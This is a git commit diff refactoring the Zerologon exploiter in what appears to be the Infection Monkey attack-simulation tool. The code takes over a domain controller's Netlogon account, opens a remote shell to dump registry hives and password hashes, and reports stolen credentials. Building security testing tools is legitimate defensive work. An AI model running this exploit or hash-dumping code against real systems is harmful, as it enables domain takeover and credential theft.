CR changes
This commit is contained in:
parent
a3bc9188dd
commit
2bdcdcc18b
|
@ -21,6 +21,7 @@ from infection_monkey.exploit.zerologon_utils.options import \
|
||||||
OptionsForSecretsdump
|
OptionsForSecretsdump
|
||||||
from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec
|
from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec
|
||||||
from infection_monkey.network.zerologon_fingerprint import ZerologonFinger
|
from infection_monkey.network.zerologon_fingerprint import ZerologonFinger
|
||||||
|
from infection_monkey.utils.capture_output import StdoutOutputCaptor
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
@ -47,7 +48,7 @@ class ZerologonExploiter(HostExploiter):
|
||||||
|
|
||||||
# Connect to the DC's Netlogon service.
|
# Connect to the DC's Netlogon service.
|
||||||
try:
|
try:
|
||||||
rpc_con = self.connect_to_dc()
|
rpc_con = self.zerologon_finger.connect_to_dc(self.dc_ip)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
LOG.info(f"Exception occurred while connecting to DC: {str(e)}")
|
LOG.info(f"Exception occurred while connecting to DC: {str(e)}")
|
||||||
return
|
return
|
||||||
|
@ -55,29 +56,7 @@ class ZerologonExploiter(HostExploiter):
|
||||||
# Start exploiting attempts.
|
# Start exploiting attempts.
|
||||||
# Max attempts = 2000. Expected average number of attempts needed: 256.
|
# Max attempts = 2000. Expected average number of attempts needed: 256.
|
||||||
LOG.debug("Attempting exploit.")
|
LOG.debug("Attempting exploit.")
|
||||||
result = None
|
self._send_rpc_login_requests(rpc_con)
|
||||||
for _ in range(0, self.MAX_ATTEMPTS):
|
|
||||||
try:
|
|
||||||
result = self.attempt_exploit(rpc_con)
|
|
||||||
except nrpc.DCERPCSessionError as e:
|
|
||||||
# Failure should be due to a STATUS_ACCESS_DENIED error.
|
|
||||||
# Otherwise, the attack is probably not working.
|
|
||||||
if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED:
|
|
||||||
LOG.info(f"Unexpected error code from DC: {e.get_error_code()}")
|
|
||||||
except BaseException as e:
|
|
||||||
LOG.info(f"Unexpected error: {e}")
|
|
||||||
|
|
||||||
if result is not None:
|
|
||||||
break
|
|
||||||
|
|
||||||
if result['ErrorCode'] == 0:
|
|
||||||
self.report_login_attempt(result=True, user=self.dc_name)
|
|
||||||
_exploited = True
|
|
||||||
LOG.info("Exploit complete!")
|
|
||||||
else:
|
|
||||||
self.report_login_attempt(result=False, user=self.dc_name)
|
|
||||||
_exploited = False
|
|
||||||
LOG.info(f"Non-zero return code: {result['ErrorCode']}. Something went wrong.")
|
|
||||||
|
|
||||||
else:
|
else:
|
||||||
LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.")
|
LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.")
|
||||||
|
@ -95,15 +74,33 @@ class ZerologonExploiter(HostExploiter):
|
||||||
return _exploited
|
return _exploited
|
||||||
|
|
||||||
def is_exploitable(self) -> bool:
|
def is_exploitable(self) -> bool:
|
||||||
|
if self.host.services[self.zerologon_finger._SCANNED_SERVICE]['is_vulnerable']:
|
||||||
|
return True
|
||||||
return self.zerologon_finger.get_host_fingerprint(self.host)
|
return self.zerologon_finger.get_host_fingerprint(self.host)
|
||||||
|
|
||||||
def connect_to_dc(self) -> object:
|
def _send_rpc_login_requests(self, rpc_con) -> None:
|
||||||
binding = epm.hept_map(self.dc_ip, nrpc.MSRPC_UUID_NRPC,
|
result_exploit_attempt = None
|
||||||
protocol='ncacn_ip_tcp')
|
for _ in range(0, self.MAX_ATTEMPTS):
|
||||||
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
|
try:
|
||||||
rpc_con.connect()
|
result_exploit_attempt = self.attempt_exploit(rpc_con)
|
||||||
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
|
except nrpc.DCERPCSessionError as e:
|
||||||
return rpc_con
|
# Failure should be due to a STATUS_ACCESS_DENIED error.
|
||||||
|
# Otherwise, the attack is probably not working.
|
||||||
|
if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED:
|
||||||
|
LOG.info(f"Unexpected error code from DC: {e.get_error_code()}")
|
||||||
|
except BaseException as e:
|
||||||
|
LOG.info(f"Unexpected error: {e}")
|
||||||
|
|
||||||
|
if result_exploit_attempt is not None:
|
||||||
|
if result_exploit_attempt['ErrorCode'] == 0:
|
||||||
|
self.report_login_attempt(result=True, user=self.dc_name)
|
||||||
|
_exploited = True
|
||||||
|
LOG.info("Exploit complete!")
|
||||||
|
else:
|
||||||
|
self.report_login_attempt(result=False, user=self.dc_name)
|
||||||
|
_exploited = False
|
||||||
|
LOG.info(f"Non-zero return code: {result_exploit_attempt['ErrorCode']}. Something went wrong.")
|
||||||
|
break
|
||||||
|
|
||||||
def attempt_exploit(self, rpc_con: object) -> object:
|
def attempt_exploit(self, rpc_con: object) -> object:
|
||||||
request = nrpc.NetrServerPasswordSet2()
|
request = nrpc.NetrServerPasswordSet2()
|
||||||
|
@ -139,20 +136,15 @@ class ZerologonExploiter(HostExploiter):
|
||||||
if not original_pwd_nthash:
|
if not original_pwd_nthash:
|
||||||
raise Exception("Couldn't extract original DC password's nthash.")
|
raise Exception("Couldn't extract original DC password's nthash.")
|
||||||
|
|
||||||
self.remove_locally_saved_HKLM_keys()
|
|
||||||
|
|
||||||
# Keep authenticating until successful.
|
# Keep authenticating until successful.
|
||||||
LOG.debug("Attempting password restoration.")
|
LOG.debug("Attempting password restoration.")
|
||||||
for _ in range(0, self.MAX_ATTEMPTS):
|
for _ in range(0, self.MAX_ATTEMPTS):
|
||||||
rpc_con = self.attempt_restoration(original_pwd_nthash)
|
rpc_con = self.attempt_restoration(original_pwd_nthash)
|
||||||
if rpc_con is not None:
|
if rpc_con:
|
||||||
break
|
LOG.debug("DC machine account password should be restored to its original value.")
|
||||||
|
return True
|
||||||
|
|
||||||
if rpc_con:
|
raise Exception("Failed to restore password! Max attempts exceeded?")
|
||||||
LOG.debug("DC machine account password should be restored to its original value.")
|
|
||||||
return True
|
|
||||||
else:
|
|
||||||
raise Exception("Failed to restore password! Max attempts exceeded?")
|
|
||||||
|
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
LOG.error(e)
|
LOG.error(e)
|
||||||
|
@ -173,7 +165,10 @@ class ZerologonExploiter(HostExploiter):
|
||||||
self.store_extracted_hashes_for_exploitation(user=user, hashes=hashes)
|
self.store_extracted_hashes_for_exploitation(user=user, hashes=hashes)
|
||||||
return ':'.join(hashes) # format - "lmhash:nthash"
|
return ':'.join(hashes) # format - "lmhash:nthash"
|
||||||
|
|
||||||
def get_dumped_secrets(self, remote_name: str = '', username: str = '', options: Optional[object] = None) -> List[str]:
|
def get_dumped_secrets(self,
|
||||||
|
remote_name: str = '',
|
||||||
|
username: str = '',
|
||||||
|
options: Optional[object] = None) -> List[str]:
|
||||||
dumper = DumpSecrets(remote_name=remote_name,
|
dumper = DumpSecrets(remote_name=remote_name,
|
||||||
username=username,
|
username=username,
|
||||||
options=options)
|
options=options)
|
||||||
|
@ -217,28 +212,27 @@ class ZerologonExploiter(HostExploiter):
|
||||||
if not self.save_HKLM_keys_locally(admin_pwd_hashes):
|
if not self.save_HKLM_keys_locally(admin_pwd_hashes):
|
||||||
return
|
return
|
||||||
|
|
||||||
options = OptionsForSecretsdump(
|
try:
|
||||||
dc_ip=self.dc_ip,
|
options = OptionsForSecretsdump(
|
||||||
just_dc=False,
|
dc_ip=self.dc_ip,
|
||||||
system=os.path.join(os.path.expanduser('~'), 'monkey-system.save'),
|
just_dc=False,
|
||||||
sam=os.path.join(os.path.expanduser('~'), 'monkey-sam.save'),
|
system=os.path.join(os.path.expanduser('~'), 'monkey-system.save'),
|
||||||
security=os.path.join(os.path.expanduser('~'), 'monkey-security.save')
|
sam=os.path.join(os.path.expanduser('~'), 'monkey-sam.save'),
|
||||||
)
|
security=os.path.join(os.path.expanduser('~'), 'monkey-security.save')
|
||||||
|
)
|
||||||
|
|
||||||
dumped_secrets = self.get_dumped_secrets(remote_name='LOCAL',
|
dumped_secrets = self.get_dumped_secrets(remote_name='LOCAL',
|
||||||
options=options)
|
options=options)
|
||||||
for secret in dumped_secrets:
|
for secret in dumped_secrets:
|
||||||
if '$MACHINE.ACC: ' in secret: # format of secret - "$MACHINE.ACC: lmhash:nthash"
|
if '$MACHINE.ACC: ' in secret: # format of secret - "$MACHINE.ACC: lmhash:nthash"
|
||||||
nthash = secret.split(':')[2]
|
nthash = secret.split(':')[2]
|
||||||
return nthash
|
return nthash
|
||||||
|
|
||||||
def remove_locally_saved_HKLM_keys(self) -> None:
|
except Exception as e:
|
||||||
for name in ['system', 'sam', 'security']:
|
LOG.info(f"Exception occurred while dumping secrets to get original DC password's NT hash: {str(e)}")
|
||||||
path = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save')
|
|
||||||
try:
|
finally:
|
||||||
os.remove(path)
|
self.remove_locally_saved_HKLM_keys()
|
||||||
except Exception as e:
|
|
||||||
LOG.info(f"Exception occurred while removing file {path} from system: {str(e)}")
|
|
||||||
|
|
||||||
def save_HKLM_keys_locally(self, admin_pwd_hashes: str) -> bool:
|
def save_HKLM_keys_locally(self, admin_pwd_hashes: str) -> bool:
|
||||||
LOG.debug("Starting remote shell on victim.")
|
LOG.debug("Starting remote shell on victim.")
|
||||||
|
@ -250,9 +244,8 @@ class ZerologonExploiter(HostExploiter):
|
||||||
|
|
||||||
remote_shell = wmiexec.get_remote_shell()
|
remote_shell = wmiexec.get_remote_shell()
|
||||||
if remote_shell:
|
if remote_shell:
|
||||||
_orig_stdout = sys.stdout
|
output_captor = StdoutOutputCaptor()
|
||||||
_new_stdout = io.StringIO()
|
output_captor.capture_stdout_output()
|
||||||
sys.stdout = _new_stdout
|
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# Save HKLM keys on victim.
|
# Save HKLM keys on victim.
|
||||||
|
@ -277,10 +270,7 @@ class ZerologonExploiter(HostExploiter):
|
||||||
LOG.info(f"Exception occured: {str(e)}")
|
LOG.info(f"Exception occured: {str(e)}")
|
||||||
|
|
||||||
finally:
|
finally:
|
||||||
sys.stdout = _orig_stdout
|
info = output_captor.get_captured_stdout_output()
|
||||||
_new_stdout.seek(0)
|
|
||||||
info = _new_stdout.read()
|
|
||||||
|
|
||||||
LOG.debug(f"Getting victim HKLM keys via remote shell: {info}")
|
LOG.debug(f"Getting victim HKLM keys via remote shell: {info}")
|
||||||
|
|
||||||
else:
|
else:
|
||||||
|
@ -288,10 +278,18 @@ class ZerologonExploiter(HostExploiter):
|
||||||
|
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
def remove_locally_saved_HKLM_keys(self) -> None:
|
||||||
|
for name in ['system', 'sam', 'security']:
|
||||||
|
path = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save')
|
||||||
|
try:
|
||||||
|
os.remove(path)
|
||||||
|
except Exception as e:
|
||||||
|
LOG.info(f"Exception occurred while removing file {path} from system: {str(e)}")
|
||||||
|
|
||||||
def attempt_restoration(self, original_pwd_nthash: str) -> Optional[object]:
|
def attempt_restoration(self, original_pwd_nthash: str) -> Optional[object]:
|
||||||
# Connect to the DC's Netlogon service.
|
# Connect to the DC's Netlogon service.
|
||||||
try:
|
try:
|
||||||
rpc_con = self.connect_to_dc()
|
rpc_con = self.zerologon_finger.connect_to_dc(self.dc_ip)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
LOG.info(f"Exception occurred while connecting to DC: {str(e)}")
|
LOG.info(f"Exception occurred while connecting to DC: {str(e)}")
|
||||||
return
|
return
|
||||||
|
|
|
@ -9,6 +9,8 @@ from impacket.examples.secretsdump import (LocalOperations, LSASecrets,
|
||||||
SAMHashes)
|
SAMHashes)
|
||||||
from impacket.smbconnection import SMBConnection
|
from impacket.smbconnection import SMBConnection
|
||||||
|
|
||||||
|
from infection_monkey.utils.capture_output import StdoutOutputCaptor
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
@ -53,9 +55,9 @@ class DumpSecrets:
|
||||||
self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||||||
|
|
||||||
def dump(self):
|
def dump(self):
|
||||||
_orig_stdout = sys.stdout
|
output_captor = StdoutOutputCaptor()
|
||||||
_new_stdout = io.StringIO()
|
output_captor.capture_stdout_output()
|
||||||
sys.stdout = _new_stdout
|
|
||||||
dumped_secrets = ''
|
dumped_secrets = ''
|
||||||
|
|
||||||
try:
|
try:
|
||||||
|
@ -176,9 +178,7 @@ class DumpSecrets:
|
||||||
except Exception:
|
except Exception:
|
||||||
pass
|
pass
|
||||||
finally:
|
finally:
|
||||||
sys.stdout = _orig_stdout
|
dumped_secrets = output_captor.get_captured_stdout_output() # includes hashes and kerberos keys
|
||||||
_new_stdout.seek(0)
|
|
||||||
dumped_secrets = _new_stdout.read() # includes hashes and kerberos keys
|
|
||||||
return dumped_secrets
|
return dumped_secrets
|
||||||
|
|
||||||
def cleanup(self):
|
def cleanup(self):
|
||||||
|
|
|
@ -75,11 +75,7 @@ class ZerologonFinger(HostFinger):
|
||||||
|
|
||||||
def try_zero_authenticate(self, dc_handle: str, dc_ip: str, dc_name: str):
|
def try_zero_authenticate(self, dc_handle: str, dc_ip: str, dc_name: str):
|
||||||
# Connect to the DC's Netlogon service.
|
# Connect to the DC's Netlogon service.
|
||||||
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC,
|
rpc_con = self.connect_to_dc(dc_ip)
|
||||||
protocol='ncacn_ip_tcp')
|
|
||||||
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
|
|
||||||
rpc_con.connect()
|
|
||||||
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
|
|
||||||
|
|
||||||
# Use an all-zero challenge and credential.
|
# Use an all-zero challenge and credential.
|
||||||
plaintext = b'\x00' * 8
|
plaintext = b'\x00' * 8
|
||||||
|
@ -111,3 +107,10 @@ class ZerologonFinger(HostFinger):
|
||||||
|
|
||||||
except BaseException as ex:
|
except BaseException as ex:
|
||||||
raise Exception(f'Unexpected error: {ex}.')
|
raise Exception(f'Unexpected error: {ex}.')
|
||||||
|
|
||||||
|
def connect_to_dc(self, dc_ip: str) -> object:
|
||||||
|
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')
|
||||||
|
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
|
||||||
|
rpc_con.connect()
|
||||||
|
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
|
||||||
|
return rpc_con
|
||||||
|
|
|
@ -0,0 +1,22 @@
|
||||||
|
import io
|
||||||
|
import sys
|
||||||
|
|
||||||
|
|
||||||
|
class StdoutOutputCaptor:
|
||||||
|
def __init__(self):
|
||||||
|
_orig_stdout = None
|
||||||
|
_new_stdout = None
|
||||||
|
|
||||||
|
def capture_stdout_output(self) -> None:
|
||||||
|
self._orig_stdout = sys.stdout
|
||||||
|
self._new_stdout = io.StringIO()
|
||||||
|
sys.stdout = self._new_stdout
|
||||||
|
|
||||||
|
def get_captured_stdout_output(self) -> str:
|
||||||
|
self._reset_stdout_to_original()
|
||||||
|
self._new_stdout.seek(0)
|
||||||
|
info = self._new_stdout.read()
|
||||||
|
return info
|
||||||
|
|
||||||
|
def _reset_stdout_to_original(self) -> None:
|
||||||
|
sys.stdout = self._orig_stdout
|
|
@ -182,17 +182,17 @@ class ReportService:
|
||||||
def get_stolen_creds():
|
def get_stolen_creds():
|
||||||
creds = []
|
creds = []
|
||||||
|
|
||||||
stolen_system_info_creds = ReportService.get_credentials_from_system_info_telems()
|
stolen_system_info_creds = ReportService._get_credentials_from_system_info_telems()
|
||||||
creds.extend(stolen_system_info_creds)
|
creds.extend(stolen_system_info_creds)
|
||||||
|
|
||||||
stolen_exploit_creds = ReportService.get_credentials_from_exploit_telems()
|
stolen_exploit_creds = ReportService._get_credentials_from_exploit_telems()
|
||||||
creds.extend(stolen_exploit_creds)
|
creds.extend(stolen_exploit_creds)
|
||||||
|
|
||||||
logger.info('Stolen creds generated for reporting')
|
logger.info('Stolen creds generated for reporting')
|
||||||
return creds
|
return creds
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_credentials_from_system_info_telems():
|
def _get_credentials_from_system_info_telems():
|
||||||
formatted_creds = []
|
formatted_creds = []
|
||||||
for telem in mongo.db.telemetry.find({'telem_category': 'system_info', 'data.credentials': {'$exists': True}},
|
for telem in mongo.db.telemetry.find({'telem_category': 'system_info', 'data.credentials': {'$exists': True}},
|
||||||
{'data.credentials': 1, 'monkey_guid': 1}):
|
{'data.credentials': 1, 'monkey_guid': 1}):
|
||||||
|
@ -201,7 +201,7 @@ class ReportService:
|
||||||
return formatted_creds
|
return formatted_creds
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_credentials_from_exploit_telems():
|
def _get_credentials_from_exploit_telems():
|
||||||
formatted_creds = []
|
formatted_creds = []
|
||||||
for telem in mongo.db.telemetry.find({'telem_category': 'exploit', 'data.info.credentials': {'$exists': True}},
|
for telem in mongo.db.telemetry.find({'telem_category': 'exploit', 'data.info.credentials': {'$exists': True}},
|
||||||
{'data.info.credentials': 1, 'monkey_guid': 1}):
|
{'data.info.credentials': 1, 'monkey_guid': 1}):
|
||||||
|
@ -212,19 +212,19 @@ class ReportService:
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _format_creds_for_reporting(telem, monkey_creds):
|
def _format_creds_for_reporting(telem, monkey_creds):
|
||||||
creds = []
|
creds = []
|
||||||
PASS_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'}
|
CRED_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'}
|
||||||
if len(monkey_creds) == 0:
|
if len(monkey_creds) == 0:
|
||||||
return []
|
return []
|
||||||
origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname']
|
origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname']
|
||||||
for user in monkey_creds:
|
for user in monkey_creds:
|
||||||
for pass_type in PASS_TYPE_DICT:
|
for cred_type in CRED_TYPE_DICT:
|
||||||
if pass_type not in monkey_creds[user] or not monkey_creds[user][pass_type]:
|
if cred_type not in monkey_creds[user] or not monkey_creds[user][cred_type]:
|
||||||
continue
|
continue
|
||||||
username = monkey_creds[user]['username'] if 'username' in monkey_creds[user] else user
|
username = monkey_creds[user]['username'] if 'username' in monkey_creds[user] else user
|
||||||
cred_row = \
|
cred_row = \
|
||||||
{
|
{
|
||||||
'username': username,
|
'username': username,
|
||||||
'type': PASS_TYPE_DICT[pass_type],
|
'type': CRED_TYPE_DICT[cred_type],
|
||||||
'origin': origin
|
'origin': origin
|
||||||
}
|
}
|
||||||
if cred_row not in creds:
|
if cred_row not in creds:
|
||||||
|
|
Loading…
Reference in New Issue